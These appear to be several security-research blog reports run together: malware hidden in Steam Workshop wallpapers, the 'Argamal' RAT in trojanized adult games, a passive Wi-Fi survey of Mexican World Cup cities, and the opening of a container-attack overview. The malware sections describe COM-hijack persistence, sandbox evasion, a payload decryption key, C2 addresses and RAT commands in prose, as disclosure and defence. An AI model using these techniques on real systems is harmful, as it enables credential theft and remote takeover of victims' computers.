Since late 2025, malware has been spreading rapidly through the Steam Workshop, the gaming platform’s built-in service for players to create and share custom content. The attackers are primarily targeting gamers in China and Russia, aiming to hijack their accounts. To pull this off, they are exploiting Wallpaper Engine – a popular live wallpaper app available on Steam – specifically leveraging its Workshop sharing feature. The malware is hidden inside the wallpaper packages users share with one another. Running one of these compromised wallpapers can lead to a stolen Steam account or leave the victim’s system infected with backdoors or crypto miners.
What is Wallpaper Engine?
Wallpaper Engine is an app that allows you to put animated wallpapers on your desktop. It’s available for both Windows and Android, though our investigation focused strictly on the Windows version. Thanks to a massive Steam community, the app is quite popular, boasting around 100,000 daily active users and nearly a million reviews. It comes with a built-in editor so users can create their own designs, and it supports a few different wallpaper types:
Videos: MP4, WebM, and other common video formats
Scenes: interactive wallpapers built inside the app’s own editor
Web pages: HTML pages powered by JavaScript and CSS, which can also include audio and video elements
Applications: active windows from third-party Windows-compatible software that Wallpaper Engine sets as the user’s desktop background
That last type, application wallpapers, is where things get risky, because these are essentially standalone programs. They can be anything from mini-games you play right on your desktop, to planners, calendars, system monitors, or widgets tracking your CPU or GPU usage.
Application wallpapers: a built-in security risk
The whole concept of “application wallpapers” essentially allows foreign code to be run directly on your computer. Cybercriminals took note of this feature and started embedding malware right into these types of wallpapers. Because Wallpaper Engine relies on Steam Workshop for content sharing, anyone can create a wallpaper and publish it for the community to download and install for free. Naturally, this setup is a magnet for bad actors.
We discovered dozens of these malicious application wallpapers floating around Steam Workshop, and each one had already been downloaded thousands – or even tens of thousands – of times.
When we analyzed them, we caught two different methods the attackers were using to spread their malware:
An archive containing the executable wallpaper alongside the malicious files. This payload usually consisted of compromised EXE files, DLLs, or malicious scripts.
In other cases, attackers threw a curveball by hiding the malware inside a password-protected archive. Either the victim was tricked into typing the password, or a script handled it automatically. The attackers would hide the password in plain sight – either right in the archive’s name or inside a JSON configuration installed along with other wallpaper files. For all the other variations, the payload triggered automatically when the user selected and applied the wallpaper.
Inside an infected game wallpaper
Main screen of the wallpaper application
On the surface, this wallpaper sample (above) we uncovered in December 2025 looks completely harmless. Once launched, there’s absolutely nothing to trigger your suspicion. The built-in game boots up flawlessly, runs smoothly, and the desktop controls work exactly as they should. But behind the scenes, a full-blown infection is underway. Within just a few minutes, a user might suddenly realize their Steam account has been hijacked, or find their computer crippled by malware, with their files being encrypted by ransomware or their system performance tanking because of a hidden crypto miner.
How the malware deploys
Once the game wallpaper launches, it drops a backdoor file called Synaptics.exe (part of the DarkKomet malware family) straight into the victim’s system. At the same time, an executable named ._cache_GAME1.exe fires up to boot the actual game, NTRaholic.
But that ._cache_GAME1.exe module is doing double duty. It simultaneously installs a custom version of a system library called AggregatorHost.dll with a payload inside. This modified library has one main objective: track down the Steam app on the computer and hunt for account credentials.
Looking for the Steam app
Next, the modified library hijacks the user’s live Steam session.
Hijacking the Steam session
After that, the compromised AggregatorHost.dll sends all the collected data to a server controlled by the hackers at hxxp://120.48.156[.]17/ey.php. Once the attackers have control of that active session, they can use the victim’s account to upload even more malicious wallpapers to Steam Workshop.
Attribution and victims
The game wallpaper described above is just one flavor of the many variations we uncovered during our research. By weaponizing the application wallpaper feature, bad actors have successfully distributed almost every type of malware under the sun – from popular infostealers and backdoors to crypto miners and botnet loaders.
Because the range of tools being used is so diverse, we suspect this isn’t the work of a single mastermind. Instead, it looks like multiple scattered, independent hacking groups are all jumping on the same trend. Right now, the primary targets are gamers in China. The wallpaper art styles and titles are tailored specifically to them, and the data backs it up: our security systems caught a staggering 89% of the malicious download attempts happening right there. That said, there’s absolutely nothing stopping these attackers from pivoting and launching a similar campaign in any other part of the world. Russia comes in second place for total downloads at 5.5%, followed by a smattering of other countries and territories: Singapore (1.4%), Hong Kong (0.9%), Germany (0.9%), Vietnam (0.9%), India (0.5%), and Canada (0.5%).
Malicious app wallpaper downloads by region
How to stay safe
Our investigation proves that even trusted platforms like the Steam Workshop aren’t completely safe from malware. In most cases, we caught old, familiar threats such as DarkKomet, the Lumma and Vidar infostealers, and the RenEngine loader. Kaspersky solutions can easily spot and block all of these payloads, no matter how clever the packaging is, thanks to our proactive security layers. Here are some of the specific threat detection verdicts assigned to the objects we discovered during our research:
HEUR:Trojan-PSW.Win32.gen
HEUR:Trojan-PSW.Win32.Python.gen
HEUR:Backdoor.Win32.DarkKomet
Trojan-Dropper.Python.Agent
HEUR:Trojan-Ransom.Win32.Gen.gen
PDM:Trojan.Win32.Generic.
By the time this post went live, the Steam team had already scrubbed the identified malicious wallpapers and links from the platform. However, given how frequently new infected wallpapers keep popping up on the Steam Workshop, you shouldn’t rely on Steam to catch everything. It’s highly recommended to run an antivirus scan on these types of wallpapers before you actually apply them.
In April 2026, we discovered a new malware campaign targeting players of “hentai” games. Once launched, the infected games install a previously unknown malicious implant on the user’s machine. After a few days, the implant downloads and executes a Trojan, resulting in full system compromise and broad remote control capabilities for the attackers. We dubbed this malware family “Argamal”.
The malware uses COM hijacking to persist on the victim’s machine, replacing the InprocServer32 entry for Windows Color System Calibration Loader DLL. This task is triggered when the user logs in, effectively allowing the malware to run at startup.
Kaspersky solutions detect this threat as Trojan.Win32.Termixia.*, Trojan.Win32.Agent.*, HEUR:Trojan.Win32.Argamal.gen and HEUR:Trojan-Downloader.Win32.Argamal.gen.
Technical details
Background
In April, as part of our ongoing monitoring of telemetry data, we found some suspicious DLLs. Further analysis revealed that various versions of these DLLs have existed since at least 2024.
The DLLs were spawned by different games written using various game engines and programming languages, including RenPy (Python) and RPG Maker MV (JavaScript), among others. However, they all had one thing in common: they were all hentai games. We searched for the distribution sources and found a number of websites hosting game screenshots and download links. These links redirected users to PixelDrain, a free file transfer service.
Adult games catalogue
In addition to these websites, the trojanized games have also been distributed via different torrent trackers, including AniRena.
Malicious game torrent in AniRena
Delivery
Both the dedicated websites and torrents delivered an archive containing the infected game.
Contents of the game archive
This archive contained fully functional, legitimate game files, as well as a modified FFmpeg DLL (SHA1: 42add9475e67a1ccc6a6af94b5475d3defc01b85), that imported the DllGetClassObject function from a file called natives2_blob.bin. Since the game needs ffmpeg.dll to run properly, the library loads as soon as the user starts the game.
Script executor
The natives2_blob.bin (SHA1: edce72f59e4c1d136cd1946af70d334c19df858d) file is a DLL that executes a Base64-encoded PowerShell script when loaded.
The natives2_blob.bin file code
This PowerShell script, which we’ll call Stage1, performs basic checks for controlled environments. For example, it checks for the Sandboxie folder in Program Files and Procmon64 in the process list. If all the checks indicate that the process is not running in a controlled environment, it proceeds to establish persistence.
Stage1 sets the MI_V environment variable (and also MI_V2 in the new versions of malware) for the current user to another Base64-encoded PowerShell script, which we’ll call Stage2. After that, it sets the InprocServer32 registry key at HKCU\SOFTWARE\Classes\CLSID\{722D0F89-B69C-4700-AE8C-4A44350E4876} to a random DLL file name in a random subdirectory of %USER%\AppData\Local, as well as the ShellFolder subkey to another random DLL file name in the same location. Stage1 also creates a scheduled task that will execute three days later. This task executes Stage2 and runs once.
Stage2 is a payload downloader script. It takes previously generated DLL filenames from the registry and downloads an encrypted payload called zaesdl.dat from GitHub using bitsadmin.exe. The downloaded payload is saved in the settings.dat file in the randomly chosen subdirectory of %USER%\AppData\Local. Stage2 decrypts it using AES-CBC with the key zbcd1j9234r670eh and an IV equal to the key. The decrypted payload is then saved in the DLL file specified in the ShellFolder registry subkey.
The decrypted payload is set as InprocServer32 at HKCU\SOFTWARE\Classes\CLSID\{B210D694-C8DF-490D-9576-9E20CDBC20BD}, which is a COM object used by the \Microsoft\Windows\WindowsColorSystem\Calibration Loader scheduled task. This task runs every time a user logs in, allowing the malware to run during every user session.
Before quitting, Stage2 also removes the changes made under the HKCU\SOFTWARE\Classes\CLSID\{722D0F89-B69C-4700-AE8C-4A44350E4876} registry key, unsets the MI_V environment variable (and MI_V2 in newer versions), and removes the scheduled task that launched Stage2.
Malicious agent
Early payload versions decrypted themselves using the 0xB0C1D4E9 rolling XOR key, where the decryption key for the i + 1 block is the encrypted content of the i block (each encrypted block being four bytes long). The most recent agent versions don’t do that.
The samples we found had string encryption; they use a simple substitution with a key that corresponds position-by-position to the following alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#$./:<>*&~. The decryption process involves finding the position of each symbol of the encrypted strings in the key, and replacing it with the symbol that occupies the same position in the alphabet.
During our investigation, we found the following keys were used:
The payload checks for the presence of the following security solutions using the output of the tasklist command:
Kaspersky
Avast
McAfee
BitDefender
MalwareBytes
+36 other solutions
Security solution detection logic
The payload itself is a RAT with broad functionality. The default C2 server is asper1[.]freeddns[.]org for earlier versions and Winst0[.]kozow[.]com for the latest versions of the payload. Both domains point to 186[.]158.223.35. We also saw another IP address for the first C2 in pDNS records, though we haven’t actually seen it in use. The C2 address can change based on a C2 reply or when certain conditions are met. For example, if the user’s default locale is set to “zh-CN”, the RAT sets its C2 address to country1[.]ignorelist[.]com. During most of our investigation, this domain pointed to 127[.]0.0.1, but starting April 26, it has been pointing to 186[.]158.223.35 as well.
The payload sends UDP heartbeats to port 57441 of the C2 server. These heartbeats contain information about detected security solutions, system startup time, time since last input activity, architecture info, machine IP address and username.
The C2 may respond to the heartbeat. Based on this response, the payload can perform different actions. Below is the full list of available commands.
Response first byte
Description
0x31
Run DLL on the system
0x57
Send UDP request to the specified address
0x55
Open file or link from the response
0x50
Collect information about the infected system (e.g. process list and architecture)
0x53
Execute command from the response using ShellExecuteW
0x52
Run the file specified in the response using WinExec
0x42
Delete the file specified in the response
0x41
Update C2 domain
0x59
Get new payload: connect to C2 port 63559/UDP, get new DLL and update COM path in the registry
The C2 can also set a flag in the response that will turn on the extended RAT mode. In this mode, the payload communicates with the C2 server using the 3747/tcp port.
TCP communications are encrypted using a simple substitution cipher. Each character is replaced using a fixed mapping defined by the key:
In other words, each character in the ASCII set is replaced by the corresponding character in the key string.
C2 requests and responses are divided into two parts by the first space character. The first part is a command and the second part is usually an argument.
After connecting and before receiving information from the C2, the malware sends metadata about the infected machine using the NOOP command. This metadata includes a run cycle counter, mounted drive metadata, time since the last input activity and data about the display settings.
Based on the C2 command, the malware can execute commands on the infected machine, perform reboot and shutdown actions, control the cursor, take screenshots, compress files into archives, and send files to other specified servers. In short, it can fully control the machine. The full list of commands is as follows:
System control
KILL REBOOT: Reboots the infected system
KILL POWER: Shuts down the infected system
KILL SELF: Same as the QUIT command (described below)
KILL ME: Exits process running the malware
Surveillance
SCREEN / SCREEN9: makes a screenshot, saves it to the ~wra1269.tmp file and sends it to the C2
RUNTASK <command>: creates, runs and deletes task that executes specified command
SKEY <key code>: presses specified key
MOUSE FREEZE: freezes mouse movement
MOUSE <command>: clicks the specified mouse button or sets the cursor position to the specified coordinates
Other delivery methods
During our research, we also observed other delivery methods for the RAT. Instead of patching FFmpeg and downloading the payload from GitHub, the attackers included the main payload as libpython64.dat or another file with a similar name in the lib\py3-windows-x86_64 directory of the game. This .dat file was loaded by one of the libraries used in the game, which was patched for this purpose.
In another case, the threat actor posted their malicious DLL file (payload downloader) on a gaming forum, disguising it as a cheat.
Infrastructure
Our research revealed the following infrastructure was used in this attack.
Domain
IP
First seen
ASN
asper1[.]freeddns[.]org
181[.]116.218.56
September 16, 2024
11664
186[.]158.223.35
July 01, 2025
11664
country1[.]ignorelist[.]com
186[.]158.223.35
September 10, 2025
11664
127[.]0.0.1
November 11, 2025
–
Winst0.kozow[.]com
186[.]158.223.35
April 26, 2026
11664
Victims
According to our telemetry, hundreds of individuals were infected with this malware. The majority of the victims were located in Russia, Brazil, Germany and Vietnam.
Based on the language of the comments in the code, infrastructure data and other facts we assess with medium confidence that the developer of the downloader chain speaks Spanish.
The actor behind this attack uses Spanish in variable names and comments. For example, the Base64-decoded delivery script contains the following lines:
Part of the PowerShell script used in the payload delivery
In addition, the JavaScript code from the website distributing infected games contains variable names, function names and comments in Spanish:
JavaScript code from the malicious site
Notably, the malware payloads used in this attack had previously chosen 127.0.0.1 as their C2 server when the victim’s default locale is set to “zh-CN”, thus not targeting Chinese users. This may indicate that the attacker is associated with a Chinese-speaking threat actor or uses payloads developed by a Chinese-speaking threat actor. However, we still believe it’s unlikely that the developer of these delivery chains is Chinese-speaking.
Conclusions
The Argamal Trojan is a new RAT targeting individuals who seek adult games. During our analysis, we observed a steady stream of updates to the payload, including the addition of new features and fixes for various bugs, as well as changes to the infrastructure. This leads us to believe that the threat actor behind this malware will continue to develop and enhance it. The campaign’s goal is likely data and credential theft; however, the RAT enables the attacker to take full control of the device and execute any malicious activity they want.
Creating malware in today’s development landscape has become significantly easier thanks to the wide availability of detailed guides, tooling, and automation resources. As a result, it is crucial not only to detect known malware but also to identify new and evolving threats as they emerge. Kaspersky solutions prevented the malicious activity in the earliest stages of the attack. The solutions help ensure device security by identifying not only known threats but also the behavior of the software and its actions, providing comprehensive protection against malware.
Mexico is one of the host countries for the 2026 FIFA World Cup, with matches to be played in three major cities: Mexico City, Monterrey, and Guadalajara. These locations are expected to see a large influx of international visitors, increasing the potential security risks. Many of those risks arise from users connecting to public wireless networks.
To better understand the wireless environments that visitors may encounter, we at Kaspersky GReAT conducted a wardriving assessment in the three host cities. The aim of the study was to analyze characteristics, deployment patterns, security configurations and potential exposure risks of public Wi-Fi infrastructure in urban wireless environments.
The information collected during the assessment was used exclusively for passive observation and infrastructure analysis. No attempts were made to authenticate, intercept communications, exploit systems or interact with the detected wireless networks beyond the publicly broadcast management information.
During processing of the collected data, one step involved filtering out networks belonging to cars or cell phones categorized as mobile hotspots because they do not represent networks that can be considered part of the assessment.
Research scope
The cities included in the study have high population density and extensive wireless infrastructure deployments. We chose areas with the most prominent wireless network activity and highly concentrated public access points. We carried out wardriving research in Monterrey back in 2008, but the city’s hotspot landscape has changed since then.
We chose the following analysis areas for each of the cities:
Mexico City: México City Stadium, Mexico City International Airport, Zócalo, Paseo de la Reforma, Colonia Roma, La Condesa, Polanco, and Coyoacán.
Guadalajara: Guadalajara Stadium, Guadalajara International Airport, the city center, Zapopan, Providencia, Avenida Chapultepec, Colonia Americana, Tlaquepaque, and the area around Andares.
Monterrey: Monterrey Stadium, Monterrey International Airport, Fundidora Park, Cintermex Monterrey, the downtown area, Barrio Antiguo, MacroPlaza, and the San Pedro financial district.
The wireless information was collected using passive wireless reconnaissance techniques. The collected information included:
SSID analysis and information exposure, including BSSID-derived SSIDs
Default router configurations and ISP deployments
Frequency and signal characteristics
Channel congestion and spectrum usage
Wireless security configurations, including:
Open and insecure wireless networks
WPS-enabled networks
Secure networks (WPA2/WPA3) with WPS enabled
We performed a wireless infrastructure analysis in Mexico City, Guadalajara, and Monterrey. We drove through the areas surrounding the World Cup stadiums, tourist zones, and other places where fan concentrations are likely to be largest. Our goal was to evaluate the security status, deployment characteristics and operational exposure of detected wireless networks.
In total, we recorded 84,588 signals with 69,473 unique Service Set Identifiers (SSIDs) in busy locations and World Cup zones across the three cities. Mexico City accounted for 61.4% of the signals, Guadalajara for 23.6%, and Monterrey for 14.8%. Approximately 82% of the signals had a single SSID (81.9%, 81.34%, and 84% respectively). Notably, they all operate under the IEEE 802.11 standard protocol.
Particular attention was given to identifying standard deployment patterns, legacy configurations, default vendor settings and information disclosure through publicly broadcast wireless identifiers.
The following sections present the results that were obtained by analyzing wireless infrastructure across the three locations.
Our findings
SSID analysis and information exposure
SSID analysis was conducted to evaluate naming conventions, deployment standardization and potential information exposure.
Only a few networks (0.0047%) have an invisible SSID, meaning the names of these networks are not broadcast. Some users prefer to hide the SSID for various reasons, such as the network’s purpose, the profile of its users, internal policies, etc. In contrast, the rest of the networks maintained active SSID broadcasting.
SSID structures may unintentionally disclose operational details about internet service providers (ISPs), device manufacturers, deployment practices, organizational ownership or user identity. The repeated presence of default SSID naming patterns across the analyzed locations indicates a significant degree of infrastructure homogeneity and reuse of default wireless configurations. It may also facilitate passive infrastructure profiling by revealing standard characteristics in use.
Approximately 34% of the detected networks retained the default SSID naming conventions provided by the manufacturer or ISP, while 66% used customized identifiers.
Distribution of SSID naming conventions (download)
Several recurring SSID naming conventions associated with ISP-provided deployments were identified in the three cities. The most frequently observed patterns include identifiers such as “Club_Totalplay_WiFi”, “izzi WiFi”, and “Megacable WiFi”, which suggests extensive standardization of wireless infrastructure deployment. Additionally, we observed distinctive location-specific SSIDs in each area of analysis, such as “XXXX-Internet para Todos-CDMX” or “RED JALISCO”.
Sequential SSID naming structures were also identified during the analysis. Patterns such as “INFINITUMXX” and “IZZI-XX” suggest automated ISP deployment and large-scale deployment strategies.
We identified 33 unique sequential naming structures among the 137 sequential SSIDs in total, representing approximately 0.16% of the detected wireless networks.
The following graph shows the top five sequential SSID patterns found in the largest number of networks:
Five most frequently observed sequential patterns (download)
Several customized SSIDs contained personal or organizational identifiers, including family names, professions, addresses or internal department references. Although personalized SSIDs may simplify local network identification for users, they may also expose sensitive information that could be useful for social engineering, physical targeting, or organizational profiling.
BSSID-derived SSID
During the analysis, multiple networks were identified that used the physical MAC address of a Wi-Fi access point (BSSID) as the visible SSID. This practice exposes hardware-level information that could facilitate vendor fingerprinting and targeted reconnaissance activities.
The organizationally unique identifier (OUI) contained in the first bytes of the BSSID identifies the equipment manufacturer. Threat actors can correlate exposed manufacturers with device-specific vulnerabilities.
Notably, we found that more than 30% of networks in all three cities reuse the MAC address as the SSID.
Default router configurations and ISP deployments
We performed wireless infrastructure profiling to identify the most common wireless equipment manufacturers and ISP deployments across the three locations.
Large-scale ISP deployments frequently use standardized wireless configurations and vendor-specific hardware platforms. Identifying dominant manufacturers and ISP naming conventions can provide insight into infrastructure and deployment practices facilitating the mapping of standardized attack surfaces.
The following figure shows the distribution of the most commonly used manufacturers.
Most frequently observed wireless equipment manufacturers (download)
The manufacturer analysis revealed a strong concentration of wireless infrastructure among a limited number of vendors. Across the three locations, Huawei Technologies, MediaTek-based devices, and other manufacturers’ equipment that is distributed through ISP channels represented a significant portion of the detected deployments. Mexico City had the most diverse infrastructure, while Monterrey and Guadalajara had a greater concentration of wireless equipment known as SOHO (small office/home office) or residential-grade hardware. The widespread presence of standard vendor platforms may facilitate infrastructure fingerprinting and large-scale targeting of known device-specific vulnerabilities.
Most frequently observed wireless equipment manufacturers across the three cities (download)
ISP deployments frequently exhibited standardized configuration patterns and recurring manufacturer identifiers. Our ISP deployment analysis revealed a high concentration of access points associated with major residential internet providers. Deployments associated with Infinitum, Totalplay and Izzi represented a substantial portion of the detected wireless infrastructure across all locations. These findings suggest a high degree of deployment standardization across networks associated with major residential internet providers. This observation was supported by the repeated presence of ISP-associated SSIDs such as “Infinitum”, “Totalplay”, and “Izzi”, combined with manufacturer identifiers frequently associated with consumer equipment, including Huawei, ZTE and other residential wireless equipment vendors.
It is important to note that, for this analysis, ISPs were primarily inferred from SSID naming conventions and manufacturer fingerprint data. A significant portion of the detected wireless networks fell into the “UNKNOWN/CUSTOM” category. This classification includes custom hotspots and networks whose naming conventions did not expose identifiable ISP-associated patterns. The findings suggest that many users and organizations (as we saw previously, approximately 66%) use custom network names, limiting direct provider attribution.
The following figure illustrates the distribution of ISP-associated wireless deployments in general.
To better understand this distribution, we took the most frequently observed ISPs by city.
Most frequently observed ISPs across the three cities (download)
Frequency and signal characteristics
We also analyzed wireless signal characteristics to evaluate coverage quality, signal strength, and frequency band utilization in the three cities. In dense urban environments, signal quality and frequency spectrum distribution can affect wireless reliability, client connectivity, roaming performance, and overall network efficiency.
Signal quality analysis revealed that a substantial portion of the detected access points operated under weak or very weak signal conditions. Monterrey had the highest percentage of very weak signals, with approximately 50% of detected deployments. Similar patterns were observed in Guadalajara and Mexico City, suggesting high-density wireless environments with overlapping coverage areas. Only a limited percentage of networks were classified within the very good or excellent signal categories across the three locations.
Signal stability analysis revealed that most detected wireless deployments exhibited stable beacon transmission behavior. More than 96% of the detected access points across all locations were classified as stable, while only a small percentage exhibited unstable or indeterminate signal behavior.
These findings imply that the majority of the wireless infrastructure observed during the assessment corresponded to permanently deployed access points rather than transient or intermittent wireless devices.
Frequency band analysis revealed the strong prevalence of 2.4 GHz wireless deployments across the three locations. More than 95% of the detected wireless networks operated within the 2.4 GHz spectrum, while only a small percentage of deployments were classified under the unknown or non-standard frequency categories. This uneven distribution reflects the continued prevalence of legacy-compatible wireless infrastructure and SOHO deployments.
These findings are consistent with dense urban wireless environments with large numbers of access points in restricted spectrum allocations.
Channel congestion and spectrum usage
Next, we analyzed wireless channel utilization to evaluate frequency spectrum congestion and channel allocation patterns across the three cities. Our analysis focused on the 2.4 GHz spectrum, where channel overlap and high access point density commonly produce interference and degraded wireless performance. In densely populated wireless environments, an excessive concentration of access points on a limited number of channels can lead to co-channel interference, packet collisions, reduced throughput, and degraded network stability.
Spectrum congestion analysis revealed that the 2.4 GHz band consistently experienced elevated congestion levels across the three cities. The detailed results showed a strong concentration of deployments on channels 11, 6 and 1, which are traditionally recommended as non-overlapping channels within the 2.4 GHz spectrum. Channel 11 was the most utilized channel, accounting for 25.2% of the detected access points, followed by channel 6 with 22.5% and channel 1 with 19.5%. This distribution indicates that most wireless deployments adhere to standard channel allocation practices for 2.4 GHz Wi-Fi environments.
The following figure illustrates the overall distribution of the most frequently utilized wireless channels.
To further assess wireless spectrum saturation, the detected access points were grouped according to channel congestion levels: VERY_HIGH, HIGH, UNKNOWN, MEDIUM, LOW and NONE.
Mexico City had the highest proportion of heavily congested wireless channels, with approximately 7% of detected access points operating under HIGH congestion conditions. Guadalajara followed with nearly 5% of deployments categorized as HIGH congestion, while Monterrey had the lowest percentage at approximately 3.29%.
These findings suggest that wireless spectrum saturation increases proportionally with urban infrastructure density and access point concentration. Despite the presence of congested deployments, most detected access points were categorized as LOW or MEDIUM congestion, suggesting severe spectrum saturation was localized rather than uniformly distributed.
A thorough analysis of individual channel utilization revealed that channels 11, 6 and 1 consistently experienced the highest congestion levels across the three cities, which correlates with our previous findings. These channels accounted for the majority of VERY_HIGH congestion classifications, particularly within the 2.4 GHz band.
In Mexico City, channel 11 alone accounted for more than 25% of detected deployments and consistently exhibited VERY_HIGH congestion levels.
This behavior reflects the limited availability of non-overlapping channels within the 2.4 GHz spectrum and the widespread reliance on default wireless configurations.
Overall, the channel utilization analysis showed that wireless deployments are concentrated heavily within the traditional, non-overlapping 2.4 GHz channels. While this strategy reduces adjacent-channel interference, excessive access point density on the same channels can still produce significant co-channel contention and poor wireless performance in high-density urban environments.
Wireless security configurations
The next thing we evaluated was the security posture of the detected wireless networks. We analyzed the wireless security configurations advertised by access points in each of the locations.
Overall security configuration distribution
The analysis revealed that WPA2 was the dominant wireless authentication mechanism across the three cities. Mexico City had the highest WPA2 adoption rate at 81.19%, followed by Monterrey at 79.19% and Guadalajara at 77.59%.
The study found that every 6th open access point (17%) was unsafe, namely 16.5% in Mexico City, 18.5% in Guadalajara, and 17.2% in Monterrey. Open wireless deployments were consistently present across all locations, ranging between 10% and 12% of detected access points. These findings show that despite the widespread deployment of modern wireless security standards, encryption adoption remains incomplete.
Distribution of wireless authentication mechanisms across the three locations (download)
To simplify the interpretation of wireless security posture, we grouped detected networks into four categories:
Secure (WPA2/WPA3)
Insecure (Open/WEP)
Weak (WPA)
Unknown
Across the three locations, secure networks comprised most of detected deployments, accounting for approximately 82% of all access points. However, insecure open networks still account for between 10% and 12% of detected wireless infrastructure, consistent with our previous findings. It is important to mention that networks within the unknown category are not considered secure.
Mexico City had the highest percentage of secure deployments at 83.54%, while Guadalajara had the highest percentage of insecure open networks at 12.46%. Although Monterrey had the lowest percentage of insecure networks, open deployments still accounted for more than 10% of the detected access points.
Wireless security posture grouping across the three locations (download)
Although modern WPA2/WPA3 encryption standards dominate current wireless deployments, the continued presence of open and legacy WPA deployments indicates that insecure wireless configurations remain relevant from an operational standpoint. These networks may expose users to passive traffic interception, unauthorized monitoring, rogue access point attacks, and credential harvesting techniques.
WPS-enabled networks
We also analyzed Wi-Fi Protected Setup (WPS) in all the locations to evaluate additional attack surfaces. WPS is a standard feature on wireless routers that enables devices such as printers, repeaters or mobile phones to connect to a secure Wi-Fi network without manually entering a long password, typically through a PIN-based enrolled mechanism. Although WPA2 and WPA3 provide strong encryption mechanisms, the presence of WPS can introduce security weaknesses due to inherently vulnerable PIN-based enrollment methods.
By combining detections from the three locations, we found that 55% of all detected access points did not advertise WPS capabilities, leaving 45% of deployments vulnerable to WPS-based abuse. These results suggest that, despite the adoption of modern encryption standards, a significant portion of wireless infrastructure continues to expose legacy convenience features.
During the analysis, we found that Mexico City had the highest proportion of WPS-enabled networks, with 46.61% of the detected access points advertising WPS capabilities. Guadalajara was second with 43.45%, while Monterrey had the lowest proportion at 40.93%.
The percentage of detected access points advertising WPS capabilities across the three locations (download)
Almost half of the detected wireless networks in each city continued to advertise WPS, indicating that WPS prevalence is consistently high across the three cities.
Secure networks with WPS enabled
In many cases, networks classified as secure because of WPA2/WPA3 encryption still had WPS functionality enabled, which effectively increased the available attack surface.
To further assess the relationship between encryption strength and WPS exposure, we conducted a secondary analysis of secure networks (WPA2/WPA3) only. The results showed that around half of all secure deployments still exposed WPS, with the following breakdown for each city:
Mexico City: 53.7%
Guadalajara: 50.9%
Monterrey: 47.5%
The proportion of secure networks with WPS enabled across the three locations (download)
These findings indicate that encryption strength alone is not enough to evaluate wireless security posture because additional protocol features, such as WPS, may still expose exploitable attack vectors.
Additional security considerations
Overall, travelers operating within dense public environments are exposed not only to insecure wireless infrastructure but also to various risks associated with digital interactions. These risks include many threats, from public USB charging systems and phishing QR codes to proximity-based protocols and exposure to shared public devices, such as interactive totems or kiosks. One particular point that should be taken into account in light of our research is the issue of rogue wireless deployments.
Rogue access points are not necessarily malicious; they may be set up accidentally by misconfiguring router settings. An entry point for potential compromise might be caused by various misconfigurations, from a weak password to an insecure protocol. However, attackers deploy such unauthorized hotspots with malicious intent to infiltrate a network. Threat actors may deploy rogue access points posing as legitimate public wireless networks in airports, hotels, cafés and tourist areas. These deployments are called “evil twins” and can trick users into connecting to attacker-controlled infrastructure capable of intercepting traffic, harvesting credentials, or performing man-in-the-middle attacks. Further risk lies in the potential compromise of local network devices or even malware distribution. Such threats complement our findings, underscoring the importance of implementing traffic encryption, using a security solution and exercising extreme caution while browsing via public networks.
Conclusion
The wardriving assessment conducted in Mexico City, Guadalajara, and Monterrey revealed that modern wireless infrastructure continues to present multiple forms of operational exposure despite the widespread adoption of WPA2 and WPA3 security standards. The analysis demonstrated that wireless environments are highly standardized in all the locations, with recurring ISP deployments, default SSID naming conventions, homogeneous manufacturer distribution, and predictable channel allocation practices observed in all three cities.
Although most of the detected networks were classified as secure under WPA2/WPA3 authentication mechanisms, a significant proportion were exposing additional attack surfaces through enabled WPS functionality, default configurations, sequential SSID structures, and infrastructure metadata disclosure. This demonstrates that encryption strength alone is insufficient for evaluating the overall security posture of wireless infrastructure. Additionally, the prevalence of open networks and legacy wireless configurations indicates that insecure deployments are still operationally relevant in all the locations.
The results also showed that wireless infrastructure is heavily concentrated within the 2.4 GHz spectrum, particularly around channels 11, 6, and 1. This leads to elevated congestion and increased co-channel interference in densely populated urban environments.
SSID analysis further revealed that publicly broadcast wireless identifiers frequently expose valuable operational information about ISPs, equipment manufacturers, deployment templates, organizational ownership, and user-defined naming practices. The identification of default ISP naming conventions, sequential SSID structures, and BSSID-derived SSIDs demonstrated that many deployments prioritize operational convenience and simplicity over exposure minimization and privacy.
The scope of the threats stemming from vulnerable wireless configurations poses serious digital exposure risks for users. The widespread presence of standard deployments, predictable SSID naming and publicly exposed infrastructure identifiers can facilitate passive reconnaissance, infrastructure fingerprinting and opportunistic targeting.
Recommendations
To minimize the risks of wireless-based exposure and the attack surface related to hotspot infrastructure, we recommend taking the following measures:
Disable WPS functionality on wireless routers whenever possible, particularly within WPA2/WPA3 deployments.
Avoid using default SSID naming conventions that disclose ISP providers, router manufacturers, or deployment templates.
Refrain from using personal, organizational, or location-based identifiers in wireless network names.
Avoid configuring SSID using BSSID or naming conventions derived from MAC addresses, as these may expose hardware fingerprinting information.
Promote migration toward modern WPA3-capable infrastructure while removing legacy wireless protocols when operationally feasible.
Reduce wireless congestion by optimizing channel allocation strategies and minimizing excessive dependence on the 2.4 GHz spectrum.
Encourage adoption of 5 GHz and newer wireless technologies to reduce interference and improve spectrum efficiency.
The findings presented in this assessment emphasize the importance of combining strong wireless encryption standards, secure deployment practices, exposure minimization strategies, and user awareness to enhance the overall security posture of wireless environments.
Modern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors — a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.
Today, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.
Principles of containerization
A container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.
To isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.
Compromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.
Current attack vectors
The primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:
Exploiting vulnerabilities in the host system and container runtime components
Malicious activity inside a compromised container
Container escape followed by host compromise
Exploiting misconfigurations and the insecure use of containerization and orchestration APIs
Supply chain attacks, including container image poisoning and CI/CD pipeline compromise
